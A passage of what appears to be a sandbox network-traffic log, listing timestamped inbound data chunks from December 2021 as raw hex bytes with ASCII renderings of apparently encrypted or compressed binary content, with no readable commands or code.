6f Data Ascii: 5zQp!6])c4E^2Zya`rk/g30k=hOowtNwZEq~n^jLF7UVwgX-#$S:]0(^73JjM1Gs5`a6a.T)WPk/'jo
2021-12-28 17:13:33 UTC	2723	IN	Data Raw: 37 41 14 8f 0f 2c e7 b5 3a d2 83 55 82 61 f8 c1 94 33 dc f5 a5 f0 d4 14 e1 b4 ed fb 7b b9 3e 8a 32 c9 94 15 6d 6e b7 69 24 79 ee d5 2c 81 a3 06 a0 99 f4 2b c9 bf 05 a9 c9 24 ea 82 94 99 82 13 0b dd 7b b1 c6 63 1c 24 19 b6 11 e5 7d 56 fb 08 68 68 1a ab 16 29 65 42 57 50 4f 53 a0 ef 3a 78 ac 8a 38 37 a7 36 8e a2 b6 08 73 45 4c 64 6f 9a 17 25 c0 1a 1b c5 32 7d 33 20 9e ad a5 52 09 74 a2 fa a8 bb 10 61 cf 94 54 d0 c2 d9 90 76 cd 3e 34 3d 72 a0 38 cb 6d c9 4f 0c 6b ba 6e 1f fb 86 12 ee 3d 3a 8e 87 cf 38 09 66 ce 62 b0 48 37 c9 ec b6 2b 71 43 df 7f 6d f8 4d 04 6f fd a1 c7 dd 1e 96 94 6b 0a c1 a0 71 35 2a 5b df 70 ac 38 50 14 9f 0e e3 29 52 f2 79 aa b2 0c 7e 4b 56 1d 1b 32 45 3f dd 77 4a 6d 65 c7 32 0f 2b d0 72 47 55 af 28 95 51 83 f3 d3 93 63 27 1a 55 f0 ce 13 Data Ascii: 7A,:Ua3{>2mni$y,+${c$}Vhh)eBWPOS:x876sELdo%2}3 RtaTv>4=r8mOkn=:8fbH7+qCmMokq5*[p8P)Ry~KV2E?wJme2+rGU(Qc'U
2021-12-28 17:13:33 UTC	2739	IN	Data Raw: a3 18 46 3d 3d fc 8c 67 e2 d0 3e ce c1 cb 72 48 a3 2f b4 6b 01 58 80 06 cb 8d e2 d7 b0 a4 8d a3 2d cb 47 3f 47 14 f9 36 8c 2c fe e3 a0 d9 bf 35 3c 6d 28 9e 63 37 21 6d 71 76 3e b8 0b 2b 2a ad ec 8f d8 d6 7d f3 55 4c c0 d6 63 96 25 ae 71 24 d4 fe 47 37 d4 5c cc bd 89 23 b6 27 a2 a3 35 31 02 f6 96 48 dd 6b 32 a2 cd 05 14 68 1e d3 68 a0 b1 58 85 c4 5a 5b 52 25 a2 b6 75 35 73 4f b7 94 4d 24 af ce 2c 4c 29 a1 33 d4 0e 3e 4c b2 46 9d f0 cd b8 53 33 c0 9f 23 80 f3 b1 99 49 54 1c 56 c3 af 97 42 40 a8 31 e1 26 d8 c6 b3 0f b6 27 7e 6c 6e 59 a5 4a 02 d0 50 f9 03 ca c6 d6 c5 cf db 38 6d 1f 13 69 ba c5 47 76 ec fc 64 b4 f4 e5 b2 2b 4a aa a2 7b 16 55 13 da 19 b6 81 4c 5b e1 39 09 8f e2 65 d8 49 c2 a0 54 f5 5b 92 96 16 4b dd 34 13 16 60 d1 67 9e 98 bb 25 24 46 78 4b 91 Data Ascii: F==g>rH/kX-G?G6,5<m(c7!mqv>+*}ULc%q$G7\#'51Hk2hhXZ[R%u5sOM$,L)3>LFS3#ITVB@1&'~lnYJP8miGvd+J{UL[9eIT[K4`g%$FxK
2021-12-28 17:13:33 UTC	2755	IN	Data Raw: 39 73 1e 4a 6d 2f ca 5b df ac 19 8a df 35 36 11 ec 75 a2 b3 d4 4d 74 db e3 f7 e6 3f 7f 79 bd da 79 db bd a5 a3 40 68 6c 7c 53 6f 87 bf 0e a7 3e 32 e0 f1 f3 50 45 30 51 9b 41 f7 57 5b 24 46 fd 0e df bc fd cc 1f 8f 5d 89 90 c6 3d 4d ed dd 1f a6 ed ae 47 25 ae ba fd de 37 3e ab 74 c9 65 2b bd da 8a b2 91 90 d7 04 5d c9 a9 b3 22 73 8d 02 63 7c ec ee bb da d1 84 8d 22 7f 48 9a 63 e5 24 0b 82 5a a8 11 c9 bf 69 04 38 c2 f7 1f aa f8 75 21 55 25 44 d7 7e 31 d9 77 98 7d 25 bd 5c db ea 76 f0 54 b7 4a 9b dc a8 3c 47 cb 4f 75 15 75 c9 b8 51 b6 3f e8 cc da 39 ed 41 15 61 22 80 3e 4d 70 75 2c 16 5d 82 8d 5e 43 5c 65 55 b3 9f c6 af ca 6b 43 5f a9 45 8e a7 30 d3 4f 3e b7 97 4a c9 3a d1 d1 fc 81 cc 0e ba 8b 36 08 41 d7 c0 71 56 63 4c d2 de 84 97 d1 44 ec cf c6 f6 4b 6c c8 Data Ascii: 9sJm/[56uMt?yy@hl\|So>2PE0QAW[$F]=MG%7>te+]"sc\|"Hc$Zi8u!U%D~1w}%\vTJ<GOuuQ?9Aa">Mpu,]^C\eUkC_E0O>J:6AqVcLDKl
2021-12-28 17:13:33 UTC	2771	IN	Data Raw: 44 a1 28 64 5e a4 30 7a 65 90 2f d7 b5 9a 4f b5 a0 02 42 31 b9 09 24 01 c5 ea f9 67 0f 02 58 4f 3b 58 22 d6 ba c5 f6 ad d2 ae 42 52 29 e6 17 4e 62 27 d7 c9 e5 84 e3 d4 5f 93 ea e8 73 e3 f8 81 5a 2e c5 51 2b 4e 34 0f 14 26 0d 77 88 71 1e dc 72 12 ec 7a 60 b3 c6 20 95 37 c5 82 1b 88 91 73 94 16 d5 8a 69 81 05 aa 05 18 16 f1 b5 3f d4 32 bf 4c 27 fd 20 5b c5 bd a5 64 ed cd a5 84 5c 71 cf 0b 6b 7a 83 e7 e4 e2 f8 63 ec 5a 95 12 8e 5e 34 0d 50 03 13 ce 0c 6a aa c0 2d d5 a3 12 ec 10 e2 bc e2 26 ac 61 68 12 8f 25 cb 4e 4b c6 31 17 02 d7 9b 58 9f 6b f3 9a 25 24 40 74 67 bc d1 ca 01 45 54 ab 2c ff d6 fc b2 fe 52 0b 95 70 19 da d5 f1 ff 83 d4 ed b0 56 02 c4 4e a2 12 23 a2 66 33 bf f7 49 6d 78 68 06 46 db b9 c9 69 f1 6e 5e 2b c9 e8 fb 8a 47 73 87 16 3f d1 4c 22 ea fa Data Ascii: D(d^0ze/OB1$gXO;X"BR)Nb'_sZ.Q+N4&wqrz` 7si?2L' [d\qkzcZ^4Pj-&ah%NK1Xk%$@tgET,RpVN#f3ImxhFin^+Gs?L"
2021-12-28 17:13:33 UTC	2787	IN	Data Raw: 09 1c 17 bb 71 ca 33 b1 3b 33 d6 e8 ff 0b ad b9 47 9e 1c df a2 b8 79 5c 26 cd 3b 8a fb 30 44 9e 79 0d 0e 16 de 15 cb 9f 9d 97 6c 3b 26 bd 9a 24 42 6a 7b 57 33 3b 5a 5c 16 5f bd 6a b4 39 11 71 54 b5 3a 79 6c 35 97 a5 35 ba c4 57 b3 ea d2 c1 11 4b 4d c9 66 14 76 8e f7 ca 57 14 74 2a 6c 83 77 e9 c7 80 4f 0e c6 47 07 1b 3d 5f 91 9c b3 59 71 fe ea a1 78 d7 55 7e 06 d3 16 00 9d 10 a5 bb ca a6 85 c7 bf 64 4c bd e9 f1 96 75 7a 1d ad 48 51 31 a8 c6 75 c3 fb a9 39 bc 19 45 f8 08 30 cf b5 b0 59 c8 be 97 c6 af a0 e4 d9 0a 69 da 57 32 fc 0d cd 44 0b 38 dc ab 3c cf 91 06 4e cc bf 46 fe 2c 88 49 4a a7 d3 ed d5 1a 1c 91 9d d8 61 65 03 69 04 9a aa e8 01 ae 98 1e 0d 30 27 ec 59 91 60 d7 66 ed 13 67 ef d5 da a4 64 6a b6 c0 7d c5 ef 85 7e 37 be e2 a1 3d a3 b7 5b cf 32 15 2a Data Ascii: q3;3Gy\&;0Dyl;&$Bj{W3;Z\_j9qT:yl55WKMfvWtlwOG=_YqxU~dLuzHQ1u9E0YiW2D8<NF,IJaei0'Y`fgdj}~7=[2
2021-12-28 17:13:33 UTC	2803	IN	Data Raw: 0d d4 6a 96 83 4e 9e 0b d9 2b 0c 3c 99 6c ec c0 5d db af 74 e0 9a 96 75 9c c1 4c e2 e2 18 30 9e 99 ba 67 18 22 42 53 7f 43 14 30 c8 b1 ad 45 f1 ac 87 22 aa d6 f0 00 c5 39 03 13 c8 88 eb 31 a0 c6 1e b8 f8 81 df 72 de fa c4 fd cc c1 7b 78 8e 25 98 b6 89 b6 7f ec c6 72 93 6f 5d 83 15 3c c6 69 44 fe d5 80 95 48 22 54 45 a8 b5 1e 51 53 74 44 f7 cf aa b9 cf 33 a7 60 e8 2b 9a 4f 21 f0 86 40 2c 0d 22 7f 06 6f 36 1c b6 60 97 c8 1c 49 85 9f 57 fb 77 72 b3 e6 c2 7c 94 a2 64 cd 7b 04 35 1f 22 ac cb 0f 20 03 86 f5 34 87 6c af 14 85 b8 bd 23 01 f5 e7 de 45 d7 aa 73 33 e1 d9 1d d6 0f 1f 67 7e b0 aa 22 cc 78 c6 67 a1 f6 66 44 a3 38 55 37 59 dc fc f9 cc 47 11 ec a8 9d ee fb a9 fe 0d 1b df 96 9b d9 92 2f 56 1d f8 f5 1b 5a d3 f7 bf 60 35 63 bf 25 e7 bf ce f6 4c e0 bb a5 a0 Data Ascii: jN+<l]tuL0g"BSC0E"91r{x%ro]<iDH"TEQStD3`+O!@,"o6`IWwr\|d{5" 4l#Es3g~"xgfD8U7YG/VZ`5c%L
2021-12-28 17:13:33 UTC	2819	IN	Data Raw: e2 03 8d ea e0 e9 5b f3 12 b2 1c 80 0f 26 78 c0 c6 e8 e4 1b 8f 67 a5 de 8e 24 97 ce 8a fa cc 55 f2 a2 2e 39 af 29 9f 8e d0 50 ac 78 d1 8a 1f a4 86 a7 f9 7c 46 30 f5 81 e0 a3 e7 32 20 9f 50 7d bc 0b ef ea b6 92 bd 0e 59 33 d7 e3 47 03 0d d5 f0 f1 3b 0c b6 a0 af ab 86 a1 91 e1 f5 6f 40 ce 57 c8 b1 af 01 fb c9 22 64 f7 50 2a 06 a5 dd 33 01 ee a7 8c a3 da 09 4a 29 dd 1c 26 dc 48 fe 7d bf 25 71 b9 ae b6 3a 58 c3 7d bd 95 aa ff 7d bb 78 5b 76 2a 9a 5e d8 10 c5 88 77 f4 e6 49 7f cc c0 5f eb d1 e5 49 2b ac 09 fc 5e 78 0d d9 15 dd d1 30 8d 48 56 b4 23 f7 fa ff e0 11 78 aa 70 46 b7 7e d2 a0 a0 32 51 5a 7d b9 b2 04 74 3b c9 15 dc 6d 85 c8 2b ea a9 4e 76 9a a9 6e 66 74 68 55 36 45 a8 76 5e 21 b1 b0 90 22 a7 59 64 d7 f5 88 f1 f0 1c 64 4b 13 56 e9 d2 22 fb e2 bb 58 ca Data Ascii: [&xg$U.9)Px\|F02 P}Y3G;o@W"dP3J)&H}%q:X}}x[v^wI_I+^x0HV#xpF~2QZ}t;m+NvnfthU6Ev^!"YddKV"X
2021-12-28 17:13:33 UTC	2835	IN	Data Raw: f7 c0 d4 03 db 2c 73 61 23 78 3d d0 c8 da 19 42 81 e3 ff 53 99 d9 fc 5a aa 3e c1 53 30 d8 e3 ac 37 cc 85 d2 14 7e 95 6f fa f5 35 3d 02 92 77 db 61 84 c8 d1 08 88 9b 23 26 0f ff 62 75 7a e3 8f a8 5b eb 9c 19 fd be 42 b0 56 bb 05 90 73 cb fd 77 a4 d8 31 92 21 cb ff 74 a7 93 1c e4 b6 76 6a 01 fc 70 11 35 82 21 59 7e b1 1f 8d 53 0a 83 a2 0e eb a1 6f 94 77 52 d2 14 a1 a8 38 25 48 51 c3 3e 76 f3 6c c0 35 17 c0 38 51 02 e4 12 3f 70 2f 15 14 10 73 b6 f9 70 63 03 5b 4b dc e3 9e 04 5b 8c 7a e9 ac 33 7b 95 0b bc ce 35 6e 43 b6 22 ec 26 89 c0 39 17 78 e6 c7 d1 46 27 5b fa 04 f6 7e f6 76 51 1e 21 ea 92 60 94 f2 55 74 71 d0 ef 78 d7 e9 84 3d cc 94 77 ba bd 88 14 0b 3e e0 ba f0 42 70 e3 2a b3 db c5 8e 22 d2 77 29 e4 4c 7c ca d3 ac 8d 26 83 1d 79 37 46 17 5f d1 fb b3 9e Data Ascii: ,sa#x=BSZ>S07~o5=wa#&buz[BVsw1!tvjp5!Y~SowR8%HQ>vl58Q?p/spc[K[z3{5nC"&9xF'[~vQ!`Utqx=w>Bp*"w)L\|&y7F_
2021-12-28 17:13:33 UTC	2851	IN	Data Raw: 86 70 13 06 0e d7 96 4e 17 c9 a3 f1 8d 5c ea df a7 f1 b9 e5 d8 97 35 b9 e6 fd 6f a8 65 f6 a4 9a f2 2d 29 14 c8 e8 7e 9b b4 29 51 d4 27 89 1c 46 32 bf 88 3b 54 37 1e 90 12 4a fe 1b 3d 95 52 62 d0 c1 4d b3 98 f4 b1 32 6c 9e 04 3e eb bb 80 66 43 a7 e8 e7 68 fa b1 e5 86 62 74 a9 8f ad e7 33 ab 72 4d 32 78 65 a0 03 7e 7d 97 d5 5b 11 e2 73 35 9e 26 cf a6 3d e4 09 e7 3a ed d6 1d 0f 88 35 7f 43 db 14 57 83 91 28 4e 66 ee 3d 55 49 5a df 4f a0 51 ed 73 1d 81 91 49 7e 5f 30 12 86 4b bc 8a 50 f0 3a f8 e5 ff c4 46 8e 28 61 8a 4c 89 c8 98 68 09 83 f2 28 e9 ac ec ed 45 0a f4 bd fb 2e 94 96 23 e5 67 46 18 f8 d8 26 80 e3 4e 90 ad a3 2a 62 29 9b 8f 34 60 b3 88 4b d4 c4 3d 62 a3 60 48 21 27 0e 42 c7 c1 00 af 7e 43 6e 10 8d 61 00 a4 96 9b 97 9f 05 f3 d0 07 f6 60 6b 31 a0 a7 Data Ascii: pN\5oe-)~)Q'F2;T7J=RbM2l>fChbt3rM2xe~}[s5&=:5CW(Nf=UIZOQsI~_0KP:F(aLh(E.#gF&N*b)4`K=b`H!'B~Cna`k1
2021-12-28 17:13:33 UTC	2867	IN	Data Raw: 4e e7 cd e3 59 9f c9 c4 4a 32 c1 9c 41 0d 22 5f a9 93 8c 6e bb d1 25 87 19 60 df 85 ce 7a bf ec 4a f8 96 f3 3b 4a c2 f4 4a ad d7 29 00 b0 84 8f d3 71 63 50 c4 ff 5f 50 b8 df bb d1 63 e6 c7 69 ed 1d 89 8f 9d a2 ee e9 b9 2b 8b 2e ab bb 54 1d 31 2f 32 2b 04 3c 30 a8 44 36 e1 94 ad c0 ab d1 af 37 b9 30 fa b3 84 9c 80 3d 5d 0f aa 50 e7 b3 ed 52 f1 16 11 6a a0 e8 73 13 25 c2 53 a9 cf 02 af fc a4 b1 3c b7 f3 b8 ab c3 5b 86 6b 52 31 72 8d 34 86 a8 7c 05 01 48 5e 63 49 77 f8 ce dd 69 a7 8f 2c 6c 45 8c a8 2b 50 11 d3 39 67 82 76 ec be 4e 72 58 10 7d 4e 3d 76 e4 6e ab 5f 7c 9e 72 41 65 26 2a c1 c2 4e 36 26 69 cd 8b 6e 9b 33 02 ae ba 72 34 64 c4 56 26 2f f6 75 f6 6c ce 5b a4 39 30 25 6b 8b 94 2a 17 26 89 e8 33 84 f3 0e 9b 30 95 f9 e2 2e 6c ae c6 74 04 3b c5 14 64 e8 Data Ascii: NYJ2A"_n%`zJ;JJ)qcP_Pci+.T1/2+<0D670=]PRjs%S<[kR1r4\|H^cIwi,lE+P9gvNrX}N=vn_\|rAe&N6&in3r4dV&/ul[90%k&30.lt;d
2021-12-28 17:13:33 UTC	2883	IN	Data Raw: d1 da 29 83 ab 1a be 3e b1 b4 37 2e 19 8e 92 b9 8e 08 ab cd 04 a0 46 c8 2e 78 55 aa 8e e2 4e ec fb 72 bd d3 b4 bb db 3e d7 b5 66 aa 25 28 41 13 b9 6f 79 b4 e8 8b ba 4a 4c 31 ee 9b c9 da 0a 1f f1 ac eb d7 34 54 56 d6 92 2a 87 eb 98 51 eb 4d 26 5b c3 dd 90 88 58 04 61 f5 44 fb 8a e5 32 27 99 dd 4c 91 86 52 69 0d 49 9e ea a4 12 40 be 2b b0 d0 ae 1d 6c fa 88 38 1b 07 c4 f9 11 26 1d 6a e4 be 88 b0 a5 88 99 ba 3c 56 35 b9 dd 37 08 c4 4c 79 60 e4 93 3d 55 15 c7 ab fd b0 d2 dd 4d 96 b2 ae 46 10 0a 14 e3 72 d9 83 30 5c fe 6a 40 09 7a 9b 8f 8e a7 c0 4e 50 1e f4 df c0 ef 79 54 3d 05 56 09 82 b0 66 53 0b 38 d9 a4 ef 58 e0 3e 39 c6 31 71 73 eb 21 05 bb 3e 85 ed d4 d4 57 b1 77 f6 92 1b 9b e6 8e b3 eb 2a 5b aa a7 af 4b 72 e1 be ae 0f 41 c5 42 6f e7 24 12 ff c8 26 a0 5e Data Ascii: )>7.F.xUNr>f%(AoyJL14TVQM&[XaD2'LRiI@+l8&j<V57Ly`=UMFr0\j@zNPyT=VfS8X>91qs!>Ww[KrABo$&^
2021-12-28 17:13:33 UTC	2899	IN	Data Raw: 89 4b f5 3d a5 c1 1e 8b 50 09 03 6a b4 ab fe 90 eb 48 d1 43 ac 02 43 de 23 40 5a 7d 92 fa 9b 2a 3e 0c 3c 6f fb 14 21 6f 8a 44 81 48 26 be e2 5a da bc 4d 42 4b ad 52 1b f0 b8 88 f1 e3 b6 03 74 5e ef 61 82 aa 2e 16 17 0f 1c 8c 1c 95 4d cd ec 56 26 e6 19 2c ea 58 eb fc 9d 25 57 93 74 fc 40 58 ae 20 fb 5f e6 5d 3b 0e 0b e2 97 99 09 f5 07 9b b0 cc 2c 73 18 f1 4f 09 95 16 1a 0d 0f c3 dc 25 8e ad 2f e0 b2 2f 74 44 26 ea 45 86 aa 70 a7 89 1c 1d b3 63 27 11 37 70 75 fb 41 38 1c 23 2b 53 d9 eb 4e 00 33 8c e4 f8 ad 78 a4 5a 89 e9 0d 62 8a 42 cb 60 3c b1 45 df f5 f2 b0 27 ff ff 52 7c 3f b7 e0 5f 59 4f c1 82 e2 51 0d a9 29 43 59 26 74 55 67 65 fe 62 f9 49 24 f0 6e 83 d5 47 d0 28 bc ad 5f 52 c0 57 ba b2 67 5b 7c 2f 50 4c 2c 35 71 df d8 d2 ef 8f 00 8f cd 12 85 d5 fe 51 Data Ascii: K=PjHCC#@Z}*><o!oDH&ZMBKRt^a.MV&,X%Wt@X _];,sO%//tD&Epc'7puA8#+SN3xZbB`<E'R\|?_YOQ)CY&tUgebI$nG(_RWg[\|/PL,5qQ
2021-12-28 17:13:33 UTC	2915	IN	Data Raw: d6 97 17 ab 16 dd 27 96 54 55 1d fa 6c 5d 5a d7 29 18 72 26 ef f5 4e 15 af a8 73 9b e0 9a 65 9e c4 d2 e9 a3 dc 6e 13 bb 4c 02 27 d0 d9 c6 cc f7 99 c8 a8 ed 07 64 3d 3e 67 68 96 1b bb 83 e8 98 9e 27 9b cb 1d c9 44 d2 93 b3 ac ec 6e 3c 62 2c d0 60 5b 9c 41 78 1e f1 62 a9 3b f9 5f 04 b4 9f 1d 84 95 b8 22 ba 22 da 20 73 a5 2f 7e 39 cb 5c 51 d5 79 d0 4e 5f 26 c3 d5 ca 5d 0f 1a cc 14 c2 fb 60 00 06 6e eb 9f 94 e1 fb b1 07 27 7b 78 3e 88 b6 21 78 64 f8 f3 6f ad 25 99 3b 70 89 16 b4 16 0c 32 67 f5 0a 0e 5f 8e b5 00 8e 5e 23 bb b7 e8 d6 5e 66 af 5a 94 32 77 8a 15 8b 90 34 47 97 b2 72 8c 9d 9d 43 87 ff 14 fa 67 2f 53 5e 0a 5b 68 1d e3 99 aa a8 02 52 28 eb e7 43 14 32 03 a0 d5 a1 20 b1 18 94 30 d6 90 5c 88 f2 5d d1 df 2c 2a 5b ad 0d 85 09 ce 0f 4e 3f 01 28 d5 0b 57 Data Ascii: 'TUl]Z)r&NsenL'd=>gh'Dn<b,`[Axb;_"" s/~9\QyN_&]`n'{x>!xdo%;p2g_^#^fZ2w4GrCg/S^[hR(C2 0\],*[N?(W
2021-12-28 17:13:33 UTC	2931	IN	Data Raw: 7f a9 b6 98 07 f3 8f f3 6c dd 2a c4 5e d2 5d 01 78 69 65 66 49 12 99 71 53 39 c8 58 e1 ad 26 af 8a d0 10 3b 08 9f ea aa a5 b6 74 75 bd 96 03 a9 91 35 c0 4d 1d 8f f3 e6 b5 73 a2 4e bd 73 43 79 92 60 d1 e8 a9 a9 33 0a ad 6a ff f2 04 ed d6 4e e1 1a 72 86 13 58 b4 ff 4d a5 f5 b2 e1 07 8e e2 21 60 f2 f4 09 47 e5 04 14 89 41 a0 2b 5f d6 22 da 30 53 66 fb 94 40 f0 d8 65 e8 1d b4 73 8b 08 dd d0 54 70 df 81 d9 f2 54 7e 4e 2b 6d 0c 6a 52 59 67 44 e9 49 7e 9d 49 77 2a a7 71 55 20 99 4d 27 2f 37 2c f6 94 b6 67 d2 45 5c ec 80 bc 1d 68 54 b7 fc 51 47 98 77 17 92 d9 14 9b 08 fc 8b 97 e4 90 f7 e7 73 69 e8 20 5a 12 49 22 a5 86 75 1d 33 46 76 6a 3d 65 a6 eb 32 1b a5 4a 24 a7 d6 71 d7 20 43 56 5f da 66 ad 4e 28 7e f4 7c 44 3e e5 4f f3 34 55 38 53 2b 6e 5f d2 6f 01 e6 fb e6 Data Ascii: l^]xiefIqS9X&;tu5MsNsCy`3jNrXM!`GA+_"0Sf@esTpT~N+mjRYgDI~IwqU M'/7,gE\hTQGwsi ZI"u3Fvj=e2J$q CV_fN(~\|D>O4U8S+n_o
2021-12-28 17:13:33 UTC	2947	IN	Data Raw: a7 01 95 89 c4 ad 01 ec f4 5e 78 22 9e 80 22 f6 6a d6 9f df e1 16 90 fd b4 af 0b 08 8c c0 8d 16 55 d5 40 75 e6 e2 96 11 fb 39 02 e9 9f e5 bf b5 f1 a4 c3 03 a5 c8 8c 33 61 57 50 c4 f2 6c 6d 84 60 52 a2 0b e0 e6 49 bb bf d7 1f 01 75 0e 49 e3 4b f5 cd 9d 30 b5 94 65 98 47 58 5c 6e ad 0a 8c 1a 21 be c0 e7 68 3b 6a a3 56 b6 06 80 36 fd d4 70 20 5a 75 cd 43 21 42 98 90 78 ae 77 03 11 aa c3 91 f9 c6 9e f9 d6 dd d5 97 e4 46 f0 f9 5c fd d5 14 de 38 c1 50 5c 79 ee c9 76 3c af 7b e2 2f 86 dc e3 23 d5 2a fa 2f 52 27 93 57 fd fc 7a de 0d 08 64 f8 bc 87 08 a1 00 e0 8d 73 92 62 75 3b 12 06 5f 87 71 9a d0 7d d5 20 21 b1 9a c4 a6 ad 5a e9 5b 21 18 e6 b2 f3 e0 cf 24 59 d2 0e f3 0f 7b 81 2b 66 f0 62 5e 21 79 d5 52 aa 64 0a 86 e0 f0 fc 9a be 90 23 eb 40 b8 9a 79 ad e9 cf 21 Data Ascii: ^x""jU@u93aWPlm`RIuIK0eGX\n!h;jV6p ZuC!BxwF\8P\yv<{/#*/R'Wzdsbu;_q} !Z[!$Y{+fb^!yRd#@y!
2021-12-28 17:13:33 UTC	2963	IN	Data Raw: aa 04 be 67 e9 52 10 60 d8 d0 e8 8a bf 4d 12 09 e0 73 f6 49 a4 4a 82 e3 2c d0 bf cd 48 a2 99 e4 75 f0 a8 1d 6b 99 ae 8e 07 73 5d 7b 39 67 80 f1 ea 2d 8d 47 95 d6 18 10 04 86 4e e6 34 66 7e 07 c4 c7 06 18 fe 38 68 d4 13 14 ae 7a c9 b1 df aa bb 6a 86 92 8c 03 c2 9f 68 7d eb 5a 46 2e 1f 37 06 d5 23 d5 42 8d cc 16 7d 42 17 7e 31 14 a0 2c 77 9d 1b 41 83 4e c4 3b 10 87 52 84 ac 62 56 1d 4c 07 2e 09 e3 2d 99 dc 5f 00 ec 5f 02 56 0a 3d 9a ab 3b cc e2 56 ce b1 eb 90 f9 56 7b e1 97 27 1f 0c 8f fa b0 81 a4 db 51 0b a6 13 ab 72 f7 70 ff 5f 65 f8 4b 48 71 ac a1 85 ae 4b 89 a9 3f e0 50 5c 21 99 67 13 be 43 30 d5 31 2a b6 58 b2 f9 fb c3 58 90 e1 86 93 00 be 22 55 89 a5 e4 92 e2 af c7 73 b4 f0 3e 33 ea 61 13 ff 0a 4f 17 64 ab 10 de f5 6e e4 16 6c 29 fc f0 1d d4 66 9c 0f Data Ascii: gR`MsIJ,Huks]{9g-GN4f~8hzjh}ZF.7#B}B~1,wAN;RbVL.-__V=;VV{'Qrp_eKHqK?P\!gC01*XX"Us>3aOdnl)f
2021-12-28 17:13:33 UTC	2979	IN	Data Raw: bd 31 a5 ea 3d 52 4f bc 00 f6 d7 4b b1 ab e6 0b 8b 81 53 c8 07 e0 c5 43 3e cc 3a 77 bf 79 17 35 1f 16 de 37 85 9c 41 a9 6b 80 8f e0 d2 68 f1 6f 80 3a 78 10 8e 4f b6 b4 2a 77 b2 48 d2 dd 1f 59 5e 1e 41 6c ea e8 c8 a3 67 9e 19 18 79 81 5e 71 df 5d 0d 32 49 49 0c f8 bd 33 f6 6f be f8 5f de 36 3a 5e 70 9a b6 9f d6 eb b3 6b b4 65 13 a4 3f e7 11 27 04 92 9e bd d0 f5 95 4d 7e 80 e7 00 41 36 07 1d ee 86 11 0f de 64 de 77 94 ec c5 2e 5b 7f d0 65 53 5f c8 de fa c0 23 c6 ca 3e f8 26 08 7f 58 1f 72 a0 01 00 9d 3e 79 8c ac bd 14 98 c7 e3 22 65 fe 2c 14 2f 2d e3 8a 5f 0c 28 5b 14 f5 9e 0f 76 a2 11 66 42 0d fc 5c 94 c4 08 71 b1 90 9b 4f 10 fe 7a 44 76 05 bd cf b0 65 1e 2b c3 b3 e3 cb 02 cd ea 42 e4 68 1d fa c1 d0 a3 a7 06 fb a4 40 42 d8 7a 4a 57 9f c7 30 40 12 1d 50 5a Data Ascii: 1=ROKSC>:wy57Akho:xO*wHY^Algy^q]2II3o_6:^pke?'M~A6dw.[eS_#>&Xr>y"e,/-_([vfB\qOzDve+Bh@BzJW0@PZ
2021-12-28 17:13:33 UTC	2995	IN	Data Raw: 79 a8 07 1d 7b 75 6d 38 20 a7 aa fd 7d 5d 89 83 22 81 57 72 b2 fc f0 5f 09 16 94 22 47 c7 e8 3b de fa 12 6b 9a 7a 93 1c 35 1b bc c3 5b f2 b4 e6 df 16 17 60 55 d9 7e bc 8c c5 7c d5 08 33 a2 46 3a f3 8c ad 80 55 22 25 24 c3 79 98 ff ba f3 c5 f8 09 c1 66 e7 84 81 36 f5 5a fc a1 73 cb 5e d4 90 6d 74 0c 43 54 ff 5c bd 54 50 1e 59 13 2b 7b 10 f6 e7 ad a2 17 c0 76 db 61 7b 12 86 28 c3 f4 32 0d c1 90 18 5f 6c 87 64 ea f7 27 09 02 b2 29 79 df 72 64 bb 67 07 4e 60 29 8c 7a 5f 04 d2 87 ef 82 49 be b4 3c 1c 3a a4 22 92 5e 04 ac d4 79 81 ea 42 78 44 56 e6 10 8b a1 04 3b 6f cd 48 5d d9 da 49 2b 5b b4 a3 a9 3c 27 63 19 42 fc 84 e4 93 94 ac 49 3d d9 b5 3d b8 38 94 c6 a0 08 e4 73 07 54 44 35 ec fb a9 a8 51 07 91 df b7 32 b6 d8 39 7d fb 26 c4 d2 5d 45 a3 b5 a5 9f 81 a7 59 Data Ascii: y{um8 }]"Wr_"G;kz5[`U~\|3F:U"%$yf6Zs^mtCT\TPY+{va{(2_ld')yrdgN`)z_I<:"^yBxDV;oH]I+[<'cBI==8sTD5Q29}&]EY
2021-12-28 17:13:33 UTC	3007	IN	Data Raw: a6 68 27 01 4c 59 3f 46 5b 7b 9f be d9 41 75 ed ff 24 0e c9 d9 b2 1a 94 7e 75 df 30 17 15 6a b9 16 9a 0e aa d4 6b 24 8c e4 80 53 5e 5a d1 80 b8 4a b9 48 14 d1 14 c8 88 f6 e7 22 76 4b 10 2b 24 da c1 bc ca 0c 87 af e1 2d 21 67 53 c0 f7 d6 28 d4 d1 96 8e 3f 4e 42 17 d9 73 ca b6 37 34 49 52 cb 6d 50 4f da d4 d8 b8 36 5a d0 20 46 a5 e3 e7 05 3f b4 8e 30 f9 fc d7 21 b7 d4 5a 56 30 93 f7 4e db f4 43 78 7f ac 97 92 1e ce 6b 22 a8 ef 06 fc 89 a3 84 ae 6d 21 04 bf 6d 67 cb 13 40 ff ff 6b 6d 02 5b 9e b5 95 ea be f9 1b 64 6b d8 c5 0b fd 29 41 9b a5 26 7c 9d d2 d8 f9 b2 f2 db 7b bd 8d f6 dc cc b4 5a 1f 7d d2 4f bf ff 69 52 73 4f 27 6a 53 e7 69 f8 a0 0e f2 ab aa 31 38 df 42 51 4f ae 06 5d fa 3e e8 aa a2 22 e7 61 e6 af fa 19 a8 a9 14 7e 3e 5a 55 aa 2a 1c 43 10 3a 17 30 Data Ascii: h'LY?F[{Au$~u0jk$S^ZJH"vK+$-!gS(?NBs74IRmPO6Z F?0!ZV0NCxk"m!mg@km[dk)A&\|{Z}OiRsO'jSi18BQO]>"a~>ZU*C:0
2021-12-28 17:13:33 UTC	3023	IN	Data Raw: ca 7c ec ba 85 4d 5e be 2b bd ac 14 d2 8b 78 93 2c a7 e9 bf 82 94 1b 71 0c 1d 9b 66 25 a8 15 f4 8d 7a 76 8b 01 61 13 07 84 24 9f db de 7f 21 6a 51 ab 21 03 f9 3a 0d 0b e0 9e d3 e6 ed d1 c5 f4 f6 89 34 a2 69 a1 57 7f b3 d9 42 30 bf dc cc d6 11 d4 eb 41 f0 c3 2a c1 c6 42 a0 eb 36 f6 69 ad c4 39 2a 43 f9 4e 08 58 de 0b 9b ee 1d e9 38 25 46 8b 8d 3e 51 3b 39 a3 a9 f0 2d 90 51 e6 8f 28 00 b4 78 42 3d 94 83 98 a2 1f c8 c2 f2 c8 28 6d 9e 3c d1 1b 5c 48 ed 4b b7 14 9c 56 eb d5 f2 25 e0 40 aa da 8e 81 4e d2 53 c4 66 b0 d9 10 79 fd 8b 28 65 0f 9e 98 7a 21 88 32 3b f0 f5 